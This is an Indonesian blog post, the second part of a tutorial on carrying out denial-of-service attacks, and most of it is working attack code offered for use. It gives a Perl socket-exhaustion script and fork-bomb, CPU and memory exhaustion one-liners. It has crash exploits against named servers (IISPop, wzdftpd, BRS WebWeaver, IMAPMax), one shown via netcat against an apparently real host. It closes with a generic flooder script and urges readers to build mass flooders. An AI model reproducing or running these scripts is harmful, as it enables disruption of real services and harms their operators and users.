Powered By Blogger

Teknik melakukan DoS part 2

Posted: Jumat, 19 Desember 2008 by QIWS in Label:
0

Teknik melakukan DoS part 2-selesai….. nah sekarang Gw sambung lagi nih. Seperti janji Gw pada post sebelumnya. Kali ini Gw bakal kasih beberapa script untuk malakukan DoS. Yaudah langsung aja lah.

Script gs.pl (gantung socket)
#!/usr/bin/perl
#
# Nama Script : gs.pl
# Tipe : Denial of Service (DoS)
# Auth : MOBY || eCHo --> moby@echo.or.id || mobygeek@telkom.net
# URL : www.echo.or.id
#
use IO::Socket;
if (!$ARGV[1]) {
print "Gunakan: perl gs.pl [host] [port] \n";
exit;
}
for (1..1300) {
$fh{$_}=new IO::Socket::INET
PeerAddr=> "$ARGV[0]",
PeerPort=> "$ARGV[1]",
Proto => "tcp"
or die; print "$_\n"
}
# END. 27 Oktober 2003
# Lakukan dari beberapa LoginShell (komputer) !

DoS-ing Apache lagi !!
Beberapa contoh skrip perl untuk melakukan DoS-ing secara local.
1. Fork Bomb, habiskan RAM

#!/usr/bin/perl
fork while 1;

2. Habiskan CPU
#!/usr/bin/perl
for (1..100) { fork or last }
1 while ++$i

3. Habiskan Memory
#!/usr/bin/perl
for (1..20) { fork or last }
while(++$i) { fh{$i} = "X" x 0xff; }

4. Serangan Input Flooding
Gw mengamati serangan ini dari beberapa advisories di BugTraq. Remote Buffer Overflow yang menghasilkan segmentation fault (seg_fault) dapat terjadi secara remote jika demon (server) tidak melakukan verifikasi input sehingga input membanjiri buffer dan menyebabkan program dihentikan secara paksa. Beberapa 'proof of concept' dapat dipelajari melalui beberapa contoh ini.

1. Serangan kepada IISPop EMAIL Server.
Sofie : Email server
Vendor : http://www.curtiscomp.com/
TIPE : Remote DoS

IISPop akan crash jika diserang dengan pengiriman paket data sebesar 289999 bytes, versi yang vuneral dan telah di coba adalah V: 1.161 dan 1.181

Script: iispdos.pl
#!/usr/bin/perl -w
#
# $0_ : iispdos.pl
# Tipe serangan : Denial of service
# Target : IISPop MAIL SERVER V. 1.161 & 1.181
# Auth : MOBY & eCHo -> moby@echo.or.id || mobygeek@telkom.net
# URL : www.echo.or.id
#
use IO::Socket;
if (!$ARGV[0]) {
print "Gunakan: perl iispdos.pl [host] \n";
exit;
}
# Data 289999 bytes
$buff = "A" x 289999;

print "Connecting ... >> $ARGV[0] \n";
$connect = new IO::Socket::INET (
PeerAddr=> "$ARGV[0]",
PeerPort=> "110",
Proto=> "tcp") or die;
print "Error: $_\n";
print "Connect !!\n";
print $connect "$buff\n";
close $connect;
print "Done \n";
print "POST TESTING setelah serangan \n";
print "TEST ... >> $ARGV[0] \n";
$connect = new IO::Socket::INET (
PeerAddr => "$ARGV[0]",
PeerPort => "110",
Proto => "tcp") or die;
print "Done !!, $ARGV[0] TEWAS !! \n";
print "Gagal !! \n";
close $connect;
# END.

2. Membunuh wzdftpd.
Sofie : wzdftpd
Vendor : http://www.wzdftpd.net
Proof of Concept:
% telnet 127.0.0.1 21
Trying 127.0.0.1...
Connected to localhost.novel.ru.
Escape character is '^]'.
220 wzd server ready.
USER guest
331 User guest okay, need password.
PASS any
230 User logged in, proceed.
PORT
Connection closed by foreign host.
% telnet 127.0.0.1 21
Trying 127.0.0.1...
telnet: connect to address 127.0.0.1: Connection refused
telnet: Unable to connect to remote host

wzdftpd crash setelah diberikan perintah/command PORT !

3. Serangan 32700 karakter, DoS BRS WebWeaver.
Sofie : BRS WebWeaver V. 1.04
Vendor : www.brswebweaver.com
BugTraqer : euronymous /F0KP

}------- start of fadvWWhtdos.py ---------------{

#! /usr/bin/env python
## #!/usr/bin/python (Py Shebang, MOBY)
###
# WebWeaver 1.04 Http Server DoS exploit
# by euronymous /f0kp [http://f0kp.iplus.ru]
########
# Usage: ./fadvWWhtdos.py
########

import sys
import httplib

met = raw_input("""
What kind request you want make to crash webweaver?? [ HEAD/POST ]:
""")
target = raw_input("Type your target hostname [ w/o http:// ]: ")
spl = "f0kp"*0x1FEF
conn = httplib.HTTPConnection(target)
conn.request(met, "/"+spl)
r1 = conn.getresponse()
print r1.status

}--------- end of fadvWWhtdos.py ---------------{

Serangan diatas mengirimkan 32700 karakter yang menyebabkan server crash !

4. Buffer Overflow pada MailMAX 5
Sofie : IMAP4rev1 SmartMax IMAPMax 5 (5.0.10.8)
Vendor : http://www.smartmax.com
BugTraqer : matrix at 0x36.org

Remote Buffer Overflow terjadi apa bila user mengirimkan input (arg) kepada command SELECT. Dampak dari serangan ini adalah berhentiya server dan harus di-restart secara manual.

Contoh eksploitasi:
--------[ transcript ]-------
nc infowarfare.dk 143
* OK IMAP4rev1 SmartMax IMAPMax 5 Ready
0000 CAPABILITY
* CAPABILITY IMAP4rev1
0000 OK CAPABILITY completed
0001 LOGIN "RealUser@infowarfare.dk" "HereIsMyPassword"
0001 OK User authenticated.
0002 SELECT "aaa...[256]...aaaa"
--------[ transcript ]-------

Perhatian !, contoh eksploitasi diatas menggunakan NetCat (nc), anda bisa dapatkan tool ini pada url: http://packetstormsecurity.nl dengan kata kunci 'nc' atau 'netcat' Jika kita perhatikan, serangan flooding memiliki kesamaan, yaitu - tentu saja - membanjiri input dengan data yang besar. Serangan akan lebih efektif jika dilakukan pada komputer esekutor yang memiliki bandwidth lebar.

Dengan mempelajari kesamaan serangan, step yang dilakukan adalah:
A. Connect ke korban (host, port).
B. Kirimkan paket data dalam jumlah besar.
C. Putuskan koneksi > selesai.
Dari step diatas, kita bisa membuat sebuah skrip universal untuk melakukan serangan DoS. Skrip ini membutuhkan 3 argumen yaitu: target_address (host/ip target), target_port (port koneksi ke server korban), dan data (jumlah paket data yang akan dikirim).

-- udos.pl --
#!/usr/bin/perl
#
# $0 : udos.pl
# Auth : MOBY & eCHo -> moby@echo.or.id | mobygeek@telkom.net
# URL : www.echo.or.id
#
use IO::Socket;
#
if (!$ARGV[2]) {
print "Gunakan % perl udos.pl [host] [port] [data] \n";
print "Contoh :\n";
print "\t $ perl udos.pl 127.0.0.1 21 50000 \n";
exit;
}
# Siapkan data
$buffer = "A" x $ARGV[2];
# Connect -> Korban
print "Connecting ... -> $ARGV[0] \n";
$con = new IO::Socket::INET (
PeerAddr=> "$ARGV[0]",
PeerPort=> "$ARGV[1]",
Proto=> "tcp") or die;
print "Error: $_ \n";
# Connect !
print "Connect !! \n";
print $con "$buffer\n";
close $con;
print "Done. \n";
print "POST TESTING setelah serangan \n";
print "TEST ... >> $ARGV[0] \n";
$connect = new IO::Socket::INET (
PeerAddr => "$ARGV[0]",
PeerPort => "$ARGV[1]",
Proto => "tcp") or die;
print "Done !!, $ARGV[0] TEWAS !! \n";

print "Gagal !! \n";
close $connect;
# End.

-- udos.pl --

Skrip sederhana diatas hanya melakukan hubungan dengan server korban, lalu mengirimkan flood dan melakukan post testing. Dengan sedikit pemprograman lo dapat membuat sebuah 'Mass Flooder' atau 'Brute Force Flooder', tergantung pada kreatifitas sendiri !

0 komentar: